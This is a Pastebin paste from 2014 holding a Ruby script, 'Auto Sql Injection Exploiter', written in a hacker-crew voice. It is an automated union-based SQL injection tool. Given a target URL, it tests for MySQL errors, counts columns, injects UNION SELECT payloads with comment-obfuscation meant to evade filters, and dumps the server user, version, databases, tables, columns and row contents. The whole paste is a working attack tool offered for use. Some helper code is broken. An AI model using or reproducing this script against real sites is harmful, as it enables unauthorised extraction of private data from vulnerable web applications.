Advertisement
hamzakiller21

UNION-Based (Basic) SQL Injection auto exploit

Jul 7th, 2014
567
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.02 KB | None | 0 0
  1. #!/user/bin/ruby
  2. require'open-uri'
  3. =begin
  4. Auto Sql Injection Exploiter  
  5. By Hamza Killer xD :D
  6. To Sec4ever && s3ck.net
  7. TO : Uzun-Dz , R0x , Black-id xD  
  8. This tools is public_version inject union based (intiger and string)
  9. the priv8 tools inject blind sql && union based && error based  
  10. xD soon it will be public xD  
  11. my eng khkhkhk  
  12. =end
  13. ### Homee Functiop
  14. class String
  15. def red;            "\033[31m#{self}\033[0m" end
  16. def green;          "\033[32m#{self}\033[0m" end
  17. def  brown;         "\033[33m#{self}\033[0m" end
  18. def gray;           "\033[37m#{self}\033[0m" end
  19. def bg_black;       "\033[40m#{self}\0330m"  end
  20. def bg_red;         "\033[41m#{self}\033[0m" end
  21. def bg_green;       "\033[42m#{self}\033[0m" end
  22. def bg_brown;       "\033[43m#{self}\033[0m" end
  23. def bg_blue;        "\033[44m#{self}\033[0m" end
  24. def bg_magenta;     "\033[45m#{self}\033[0m" end
  25. def bg_cyan;        "\033[46m#{self}\033[0m" end
  26. def bg_gray;        "\033[47m#{self}\033[0m" end
  27. end
  28. def home()
  29. text=[
  30.  "[*]=========================================[*]",
  31.  "[*]     Auto Sql Injection Exploit V 1.0[*]",
  32.  "[*]       H A M Z A    K I L L E R[*]",
  33.  "[*]        Hlyzidi[at]gmail[dot]com[*]",
  34.  "[*]=========================================[*]"
  35.   ]
  36. for oo in text
  37. puts oo.red
  38. sleep(0.1)
  39. end
  40. end    
  41. ## function 0
  42. def get_con(url)
  43. f = open(url)
  44. x=f.readlines.join
  45. return x
  46. end
  47. ## Function 1
  48. def url_x(url)
  49. if(url =~ /http:\/\//)
  50. url=URI(url)
  51. elsif (url =~ /https:\/\//)
  52. puts "Tool NOt work with ssl sorry "
  53. exit
  54. else
  55. url=URI("http://#{url}")
  56. end
  57. end
  58. ## function 2
  59. def infected_1(url)
  60. x=get_con(url)
  61. if (x=~ /Unknown column/i || x=~ /on line/i ||  x=~ /Warning MySQL/i||  x=~ /You have an error in your SQL syntax/i||  x=~/Warning MySQL/i ||  x=~/Warning: mysql_num_rows():/i)
  62. return true
  63. end
  64. end
  65. ## Function 3
  66. def get_all_data(url,clm,pay)
  67. xssp="#{url}#{pay}"
  68. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,SchEmA_NamE,0x68616d7a6178647a)*/"
  69. begin
  70. xuxrl=pay.sub("#{clm}","#{payload}")  
  71. xurl=URI("#{url}#{xuxrl}+FroM+iNForMaTion_SchEmA.SchEmAta--+-")
  72. rescue
  73. print "some thing Wrong"
  74. end
  75. xd=get_con(xurl)
  76. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  77. for dat in data.uniq  
  78. puts "|| [+] #{dat[0]}"
  79. end    
  80. end
  81. ## function 4
  82. def url_pasq(ur,col)
  83. p=ur.sub("=","=-");
  84. po="+/*!12345UNION*/+/*!12345SELECT*/+1";
  85. while (i=2 < col)
  86. i=2+1
  87. pppp="#{p}#{po}+,#{i}--+-"
  88. return pppp
  89. end
  90. end
  91. ###
  92. def get_data(url,clm,pay)
  93. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,database(),0x2f3a3a2f,version(),0x2f3a3a2f,user(),0x68616d7a6178647a)*/"
  94. xuxrl=pay.sub("#{clm}","#{payload}")  
  95. xurl=URI("#{url}#{xuxrl}")
  96. xd=get_con(xurl)
  97. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  98. begin
  99. for dat in data[0]
  100. xd=dat.split("/::/")
  101. database=xd[0]
  102. version=xd[1]
  103. user=xd[2]
  104. puts "[+] Db server user   :#{user} ".green
  105. puts "[+] Database version : #{version} ".green
  106. puts "[+] current Database : #{database}".green
  107. end    
  108. end
  109. rescue
  110. puts "Error !!!!!"
  111. end
  112. ### Function for Hex Encoding  
  113. def hex_string(url,clm,pay,xstring)
  114. xssp="#{url}#{pay}"
  115. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,%270x%27,HEX(%27#{xstring}%27),0x68616d7a6178647a)*/"
  116. xuxrl=pay.sub("#{clm}","#{payload}")  
  117. xurl=URI("#{url}#{xuxrl}+--")
  118. xd=get_con(xurl)
  119. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  120. for dat in data.uniq  
  121. return dat[0]
  122. end    
  123. end
  124. ##### Function For Get All tables
  125. def get_all_tables(url,clm,pay,db)
  126. xssp="#{url}#{pay}"
  127. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,table_name,0x68616d7a6178647a)*/"
  128. xuxrl=pay.sub("#{clm}","#{payload}")  
  129. xurl=URI("#{url}#{xuxrl}+from+information_schema.tables+where+table_schema=#{db}--+-")
  130. xd=get_con(xurl)
  131. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  132. for dats in data.uniq  
  133. for dat in dats
  134. puts "|| [+] #{dat}".brown
  135. end    
  136. end
  137. end
  138. ####### Function For Get All colum
  139. def get_all_clum(url,clm,pay,db,table)
  140. xssp="#{url}#{pay}"
  141. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,column_name,0x68616d7a6178647a)*/"
  142. xuxrl=pay.sub("#{clm}","#{payload}")  
  143. xurl=URI("#{url}#{xuxrl}+FROM+INFORMATION_ScheMa./*!columNs*/+WhErE+tablE_scheMa=#{db}+and+table_name=#{table}--+-")
  144. xd=get_con(xurl)
  145. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  146. for dat in data.uniq  
  147. puts "[+] #{dat[0]}".green
  148. end    
  149. end
  150. ######## Finily GEt All Data  
  151. def get_all_data_bitch(url,clm,pay,db,table,colm)
  152. xssp="#{url}#{pay}"
  153. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,#{colm},0x68616d7a6178647a)*/"
  154. xuxrl=pay.sub("#{clm}","#{payload}")  
  155. xurl=URI("#{url}#{xuxrl}+FroM+#{db}.#{table}--+-")
  156. xd=get_con(xurl)
  157. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  158. for dat in data.uniq  
  159. puts "[+] #{dat[0]}"
  160. end    
  161. end
  162. #####
  163. ##########Chek if vul    ############  
  164. home()  
  165. print("# Eenter Url ->")
  166. begin
  167. urld=gets.chomp
  168. if !(urld)
  169. print "# Error !!!!!!!!!"
  170. exit
  171. end    
  172. url=url_x(urld)
  173. x=infected_1("#{url}'")
  174. rescue  
  175. print "# Error !!!!!!!!!\n"    
  176. exit
  177. end
  178. if(x)
  179. print"[+] #{url} => SQl Injection Found\n".bg_blue
  180. print"[+] injection type is Integer\n".bg_blue
  181. else
  182. puts"[-] Not Vul ".bg_cyan
  183. puts"[*] Or injection type is string".bg_cyan
  184.  
  185. end  
  186. #########################################
  187. #### Get column Infected  
  188. for i in 1..50
  189. urls=URI("#{url}+Order+by+#{i}--+-")
  190. x=get_con(urls)
  191. if (x=~ /Unknown column/i || x=~ /on line/i ||  x=~ /Warning MySQL/i||  x=~ /You have an error in your SQL syntax/i||  x=~/Warning MySQL/i ||  x=~/Warning: mysql_num_rows():/i||  x=~/in 'order clause'/i)
  192. clnb=i-1;
  193. break
  194. sleep(0.2)
  195. end
  196. end
  197. ####
  198. ####
  199.      
  200. print"[+] columns number : #{clnb}\n".bg_blue
  201. #### NOw GEt Infected columns
  202. print"[+] Searching for infected columns ...........\n".bg_red
  203. p=urld.sub("=","=-");
  204. po="+/*!12345UNION*/+/*!12345SELECT*/+";
  205. all_url="#{p}#{po}"
  206. dz=[]
  207. begin
  208. for i in (2..clnb).to_a
  209. dz.push(i)
  210. sleep(0.00003)
  211. end
  212. rescue  
  213. print "Error xD :D !!!!!".bg_red
  214. exit
  215. end
  216. clm_num=dz.join(",")
  217. clm_num="1,#{clm_num}"
  218. x_clminf="#{all_url}#{clm_num}--"
  219. for ix in (1..clnb)
  220. xpx=clm_num.sub("#{ix}",'0x68616d7a6178647a');
  221. ppps=URI("#{all_url}#{xpx}--")
  222. x_url=get_con(ppps)
  223. if(x_url =~ /hamzaxdz/i)
  224. p_ss=ix
  225. break
  226. end    
  227. sleep(0.00003)
  228. end    
  229. puts "[+] Found infected columns is : #{p_ss}".bg_brown
  230. # print All information
  231. get_data(all_url,p_ss,clm_num)
  232. # GET All Database
  233. into=["||==================================================||",
  234.       "||===========        databases           ===========||",
  235.       "||==================================================||"]
  236. xbar=["||==================================================||"]
  237. for ine in into
  238. puts ine  
  239. sleep(0.2)
  240. end      
  241. get_all_data(all_url,p_ss,clm_num)
  242. for ine in xbar
  243. puts ine  
  244. sleep(1)
  245. end  
  246. print('# PLZ chois Database :')
  247. data_user=gets.chomp
  248. ## Now Select Database And Fuck It  
  249. database_hex=hex_string(all_url,p_ss,clm_num,data_user) ## Database Hex_encode
  250. ## Now Extreact Tables  
  251. into=["||==================================================||",
  252.       "||===========          Tables            ===========||",
  253.       "||==================================================||"]
  254. for ine in into
  255. puts ine  
  256. sleep(0.2)
  257. end  
  258. get_all_tables(all_url,p_ss,clm_num,database_hex)
  259. for ine in xbar
  260. puts ine  
  261. sleep(1)
  262. end  
  263. print('# PLZ Enter Table :')
  264. tab_user=gets.chomp
  265. table_hex=hex_string(all_url,p_ss,clm_num,tab_user)### Hexing This Fuck xD
  266. into=["||==================================================||",
  267.       "||===========          columns           ===========||",
  268.       "||==================================================||"]
  269. for ine in into
  270. puts ine  
  271. sleep(0.2)
  272. end  
  273. get_all_clum(all_url,p_ss,clm_num,database_hex,table_hex)
  274. for ine in xbar
  275. puts ine  
  276. sleep(1)
  277. end
  278. ### Now Bitch Start Work And Get All Data Fuck Fuck Zhhhhh:D  
  279. a=true
  280. while a
  281. print "# Enter columns ->"
  282. clm=gets.chomp
  283. begin
  284. get_all_data_bitch(all_url,p_ss,clm_num,data_user,tab_user,clm)
  285. rescue  
  286. print "Error !!!!!!\n"
  287. end
  288. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement